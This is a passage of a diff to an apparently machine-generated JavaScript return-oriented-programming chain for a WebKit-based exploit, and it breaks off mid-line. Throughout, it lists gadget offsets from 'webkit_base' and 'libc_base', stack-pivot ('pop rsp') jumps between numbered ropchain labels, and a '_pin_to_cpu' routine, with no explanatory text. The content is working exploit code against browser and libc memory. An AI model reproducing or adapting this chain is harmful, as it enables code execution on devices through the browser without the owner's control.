+webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5686: +//L5452: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5451: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5687: +//L5453: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+302968, //L5454 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+302984, //L5455 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -db([4294967288, 4294967295]); // -0x8 +//L5454: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5455: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+307256, //L5690 +ropchain+303144, //L5459 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+307224, //L5688 +ropchain+303096, //L5457 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+307240, //L5689 +ropchain+303128, //L5458 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5688: +//L5457: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5689: +//L5456: +db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L5458: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5690: +//L5459: db([0, 0]); // 0x0 -set_gadget(webkit_base+105267,); //pop rdx +set_gadgets([ +libc_base+877546, //shl rax, cl +libc_base+793877, //pop rsi +ropchain+303200, //L5461 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi +]); +//L5461: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+7047212, //div rsi ; add rax, rcx -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx +libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+307440, //L5694 +ropchain+303304, //L5463 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+307408, //L5691 +ropchain+303336, //L5464 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+307392, //L5692 +ropchain+303320, //L5462 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5692: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L5691: +//L5463: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5693: -db([8, 0]); // 0x8 +//L5462: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5694: +//L5464: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+1506828, //imul rax, rcx +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+307512, //L5695 +ropchain+303432, //L5466 webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+307528, //L5696 +ropchain+303416, //L5465 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5695: +//L5465: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5696: +//L5466: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx -libc_base+793877, //pop rsi -ropchain+307616, //L5697 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5697: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+307672, //L5700 +ropchain+303512, //L5467 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L5700: +//L5467: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +//L5468: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+307808, //L5702 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+307824, //L5703 +ropchain+303632, //L5472 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+307792, //L5701 +ropchain+303616, //L5470 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5701: +//L5470: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5702: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5703: +//L5472: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+307968, //L5706 +ropchain+303776, //L5475 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+307936, //L5704 +ropchain+303744, //L5473 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+307952, //L5705 +ropchain+303760, //L5474 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5704: +//L5473: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5705: +//L5474: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5706: +//L5475: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+308048, //L5708 +ropchain+303848, //L5476 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5708: +//L5476: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5707: -db([1, 0]); // 0x1 -set_gadget(libc_base+206806,); //pop rdi -//L5709: -db([1, 0]); // 0x1 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+308176, //L5711 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+308160, //L5710 +ropchain+303904, //L5478 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5710: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5711: +//L5478: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -41283,432 +40352,515 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+308272, //L5714 +ropchain+303984, //L5480 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5712: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5714: +//L5480: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5481: +db([4294967276, 4294967295]); // -0x14 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+308376, //L5717 +ropchain+304104, //L5485 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+308360, //L5716 +ropchain+304088, //L5483 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5716: +//L5483: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5717: +//L5485: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+308544, //L5720 +ropchain+304272, //L5488 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+308560, //L5721 +ropchain+304288, //L5489 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+308512, //L5718 +ropchain+304256, //L5486 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+308528, //L5719 +ropchain+304240, //L5487 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5718: +//L5487: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5719: +//L5486: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5720: +//L5488: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5721: +//L5489: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+308632, //L5722 +ropchain+304392, //L5490 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+308648, //L5723 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L5722: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5723: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+308744, //L5725 +ropchain+304424, //L5492 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+308728, //L5724 +ropchain+304408, //L5491 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L5724: +//L5490: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5491: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5725: +//L5492: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5726: -db([8, 0]); // 0x8 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+308872, //L5728 +ropchain+304512, //L5493 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5728: +//L5493: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5727: -db([8, 0]); // 0x8 -set_gadget(libc_base+206806,); //pop rdi -//L5729: -db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+309008, //L5730 +ropchain+304568, //L5495 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5495: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+309040, //L5732 +ropchain+304640, //L5497 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5497: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+309024, //L5731 +ropchain+304696, //L5499 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5730: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5731: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5732: +//L5499: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+865136, //mov [rax], cl libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1506828, //imul rax, rcx +//L5501: +libc_base+793877, //pop rsi +ropchain+304784, //L5502 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L5502: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5503: +db([4294967276, 4294967295]); // -0x14 +set_gadgets([ +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+309144, //L5733 +ropchain+304904, //L5507 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+309160, //L5734 +ropchain+304888, //L5505 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5733: +//L5505: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5734: +set_gadget(libc_base+206806,); //pop rdi +//L5507: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+309328, //L5737 +ropchain+305072, //L5510 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+309296, //L5735 +ropchain+305088, //L5511 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+309312, //L5736 +ropchain+305056, //L5508 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+305040, //L5509 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5735: +//L5509: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5736: +//L5508: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5737: +set_gadget(libc_base+206806,); //pop rdi +//L5510: db([0, 0]); // 0x0 -set_gadget(webkit_base+105267,); //pop rdx +set_gadget(libc_base+788575,); //pop rax +//L5511: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+7047212, //div rsi ; add rax, rcx -libc_base+877877, //mov rax, rdx -libc_base+793877, //pop rsi -ropchain+309472, //L5739 -webkit_base+7438103, //mov [rsi], rax +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+309488, //L5740 +ropchain+305184, //L5513 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+309456, //L5738 +ropchain+305168, //L5512 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+206806 //pop rdi ]); -//L5738: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5739: +//L5512: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5740: +//L5513: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+305272, //L5515 +webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +//L5514: +db([1, 0]); // 0x1 +set_gadget(libc_base+788575,); //pop rax +//L5515: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+877546, //shl rax, cl +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+309576, //L5741 +ropchain+305328, //L5516 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L5741: +//L5516: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5517: +db([4294967276, 4294967295]); // -0x14 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+547636, //add rax, rsi +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+309632, //L5744 +ropchain+305408, //L5519 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5744: +//L5519: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+75236, //or rax, rcx -libc_base+793877 //pop rsi +libc_base+811575, //pop rsp +ropchain+298960, //L5351 +//L5393: +libc_base+788575 //pop rax ]); +//L5521: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+309760, //L5746 -webkit_base+7438103, //mov [rsi], rax +libc_base+788575, //pop rax +//L5523: +ropchain+397896, //L5522 libc_base+793877 //pop rsi ]); -//L5745: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+788575,); //pop rax -//L5746: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L5525: +ropchain+305624, //L5524 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+309840, //L5747 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+307448, //L5526 +//L5524: libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5747: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575 //pop rax +]); +//L5527: +db([6, 0]); // 0x6 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L5529: +ropchain+305768, //L5528 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+309896, //L5750 -webkit_base+7438103, //mov [rsi], rax +libc_base+811575, //pop rsp +ropchain+282000, //_pin_to_cpu +//L5528: libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5750: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+309992, //L5753 +ropchain+305840, //L5530 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5751: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5753: +//L5530: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5531: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+310096, //L5756 +ropchain+305960, //L5535 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+310080, //L5755 +ropchain+305944, //L5533 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5755: +//L5533: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5756: +//L5535: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+310264, //L5759 +ropchain+306104, //L5538 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+310280, //L5760 +ropchain+306072, //L5536 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+310232, //L5757 +ropchain+306088, //L5537 webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L5536: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5537: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5538: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L5540: +ropchain+306208, //L5539 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+308776, //L5541 +//L5539: +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+310248, //L5758 +ropchain+306280, //L5542 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5757: +//L5542: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5758: +set_gadget(libc_base+788575,); //pop rax +//L5543: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5759: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5760: +//L5544: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+310352, //L5761 +ropchain+306416, //L5545 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+310368, //L5762 +ropchain+306448, //L5547 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+306432, //L5546 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5761: +//L5545: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5546: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5762: +//L5547: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+310464, //L5764 +ropchain+306544, //L5548 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+310448, //L5763 +ropchain+306560, //L5549 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +webkit_base+432898 //pop r8 ]); -//L5763: +//L5548: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5764: +//L5549: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+306672, //L5550 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+306656, //L5551 +webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L5765: -db([8, 0]); // 0x8 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +//L5551: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L5550: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+307136, //L5552 +//L5339: libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+310592, //L5767 +ropchain+306736, //L5553 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5767: +//L5553: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5766: -db([8, 0]); // 0x8 +//L5554: +db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L5768: -db([8, 0]); // 0x8 +//L5555: +db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+310728, //L5769 +ropchain+306872, //L5556 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+310760, //L5771 +ropchain+306904, //L5558 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+310744, //L5770 +ropchain+306888, //L5557 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5769: +//L5556: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5770: +//L5557: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5771: +//L5558: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -41717,19 +40869,18 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+310864, //L5772 +ropchain+307000, //L5559 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+310880, //L5773 +ropchain+307016, //L5560 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+432898 //pop r8 ]); -//L5772: +//L5559: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5773: +//L5560: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -41739,69 +40890,53 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+311048, //L5776 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+311016, //L5774 +ropchain+307128, //L5561 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+311032, //L5775 +ropchain+307112, //L5562 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+788575 //pop rax ]); -//L5774: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5775: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5776: +//L5562: db([0, 0]); // 0x0 -set_gadget(webkit_base+105267,); //pop rdx +set_gadget(libc_base+811575,); //pop rsp +//L5561: db([0, 0]); // 0x0 +//L5552: set_gadgets([ -webkit_base+7047212, //div rsi ; add rax, rcx -libc_base+877175, 